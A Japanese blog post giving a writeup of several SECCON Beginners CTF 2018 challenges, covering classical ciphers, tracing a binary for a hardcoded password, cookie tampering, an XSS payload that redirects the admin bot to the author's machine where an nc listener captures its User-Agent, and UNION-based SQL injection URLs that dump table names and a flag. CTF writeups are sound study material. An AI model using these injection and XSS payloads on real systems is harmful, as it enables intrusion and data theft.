進行中の何か

主にIT系の調べたこと。やったことをまとめます。

SECCON BeginnersCTF 2018 Writeup

CTFに興味があったので今回、SECCON_BeginnersCTF_2018に一人チームで参加しました。
結果、今回解けたのは9問。 f:id:pom_wip:20180529002603p:plain 初参加かつ超初心者の割には健闘したと思いますがPwnが全く分からなった。。 自身のまとめのためにwriteupを書いてみました。

Crypto

[Warmup] Veni, vidi, vici

与えられたzipを回答するとmessage1, message2, message3が含まれている。
message1,2はいわゆるシーザー暗号でした。

  • message1
    Gur svefg cneg bs gur synt vf: pgs4o{a0zber
    rot13で変換して
    The first part of the flag is: ctf4b{n0more

  • message2
    Lzw kwugfv hsjl gx lzw xdsy ak: _uDskk!usd_u
    rot8で変換して
    The second part of the flag is: _cLass!cal_c

  • message3
    {ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥
    これは無理やり逆文字読んで
    The third part of the flag is: Rypt0graphy}

なのでフラグは以下になりました。
ctf4b{n0more_cLass!cal_cRypt0graphy}

Reversing

[Warmup] Simple Auth

認証に使われているパスワードを探せ!とのことで中には実行ファイル。
さっそく実行してみるとPasswordの入力を求められます。

# ./simple_auth 
Input Password: 
Umm...Auth failed...

ltraceをして動作を追ってみるとフラグがべたガキされていたのでフラグゲット。

# ltrace ./simple_auth 
__libc_start_main(0x400792, 1, 0x7ffe1b93aeb8, 0x400830 <unfinished ...>
printf("Input Password: ")                       = 16
__isoc99_scanf(0x4008c5, 0x7ffe1b93ada0, 0, 0Input Password: a
)   = 1
strlen("a")                                      = 1
strlen("ctf4b{rev3rsing_p4ssw0rd}")              = 25
puts("Umm...Auth failed..."Umm...Auth failed...
)                     = 21
+++ exited (status 0) +++

フラグは
ctf4b{rev3rsing_p4ssw0rd}

Web

[Warmup] Greeting

URLが与えられアクセスすると
こんにちはゲストさん。 Flagは、管理者である"admin"さんにのみしか表示されません。
の文字列と名前変更ボタンがあるページへ

「admin」と入力すると偽管理者と判定されます。
ソースコードを読むとPOSTされたnameパラメータがadminだと偽管理者とみなすようでPOSTではなくGETしCookieの「name」の値がadminだと管理者になれそうだったのでcurlで送信してフラグゲット。

# curl -H "Cookie: name=admin" http://greeting.chall.beginners.seccon.jp/
<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="UTF-8">
    <title>SECCON Beginners greeting service</title>
  </head>
  <body>
    <h1>こんにちは!adminさん!</h1>
    <hr>
          こんにちは管理者さん。
      Flagは、 &quot;ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}&quot;です。

フラグは
ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}

Gimme your comment

問い合わせを記入すると特別なブラウザから回答が書き込まれるシステムであり、そのUser-Agentにフラグがあるらしい。
問い合わせフォームの本文に<script>alert(1)</script>とうつとalert画面がでるのでXSS脆弱性があることが分かる。 なので本文を以下にして投稿し、自分のPCで待ち受けるとアクセスしてくるのでフラグをゲット!

<script>
location.href = "http://<my_ip>"
</script>
# nc -l -p 80
GET / HTTP/1.1
Host: <my_ip>
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://nginx/posts/d16b7513281b38209f2b34c69c25e085a9ccfc31
Accept-Encoding: gzip, deflate

フラグは
ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}

SECCON Goods

アクセスするとGoods一覧が表示されるページに移動する。 /js/init.jsのソースコードを読むとaxios.get('/items.php?minstock=0')の記載がある。
試しに0を8に変えると在庫が8以上の物品リストがJSONで返されることがわかる。

となればあとはSQL injection

まずはtable_nameとcolumn_nameを取得

http://goods.chall.beginners.seccon.jp/items.php?minstock=10%20union%20select%20table_name,%20column_name,%203,%204,%205%20from%20information_schema.columns
(省略)
{"id":"flag","name":"flag","description":"3","price":"4","stock":"5"},

いかにもなテーブル名とカラム名があるのでそれを取得

http://goods.chall.beginners.seccon.jp/items.php?minstock=10%20union%20select%20FLAG,2,3,4,5%20from%20flag
[{"id":"ctf4b{cl4551c4l_5ql_1nj3c710n}","name":"2","description":"3","price":"4","stock":"5"}]

フラグは
ctf4b{cl4551c4l_5ql_1nj3c710n}

MISCは次の記事で。。。